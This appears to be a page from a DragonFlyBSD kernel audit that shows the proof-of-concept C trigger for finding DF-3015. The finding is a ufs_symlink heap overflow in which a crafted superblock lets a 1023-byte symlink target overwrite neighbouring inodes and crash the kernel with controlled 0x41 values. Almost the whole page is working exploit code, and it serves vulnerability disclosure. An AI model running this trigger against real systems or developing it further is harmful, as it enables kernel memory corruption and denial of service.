DragonFlyBSD Kernel Audit
DF-3015 / trigger3015.c
← back to finding ↓ download raw
/*
 * DF-3015 trigger — blind repro of the ufs_symlink heap overflow.
 *
 * ufs_vnops.c:1561-1566 (ufs_symlink):
 *      len = strlen(ap->a_target);
 *      if (len < vp->v_mount->mnt_maxsymlinklen) {    <-- 0x7fff from crafted SB
 *              bcopy(ap->a_target, (char *)ip->i_shortlink, len);
 *
 * i_shortlink == i_din.di_db, 60 bytes max by design (UFS1_MAXSYMLINKLEN).
 * struct inode is 304 bytes (320-byte slab chunk); i_din is the last member.
 * A 1023-byte symlink target overflows ~919 bytes past the chunk into
 * neighboring inodes -> controlled kernel heap corruption (0x41 markers).
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>

int
main(int argc, char **argv)
{
	const char *path = (argc > 1) ? argv[1] : "/mnt/p/l1";
	char target[1024];
	int fd;

	memset(target, 'A', 1023);
	target[1023] = 0;

	if (symlink(target, path) != 0) {
		perror("symlink");
		exit(1);
	}
	printf("[+] symlink(%d bytes) created at %s — bcopy overflow executed\n",
	       1023, path);
	fflush(stdout);

	/*
	 * Force the kernel to walk the inodes we just smashed.
	 * ihash walk hits victim->i_next == 0x4141414141414141
	 * -> fatal page fault at 0x4141414141414141  (proof of control)
	 */
	sync();
	sleep(1);
	execl("/bin/ls", "ls", "-lai", "/mnt/hold", NULL);
	perror("ls");
	return (0);
}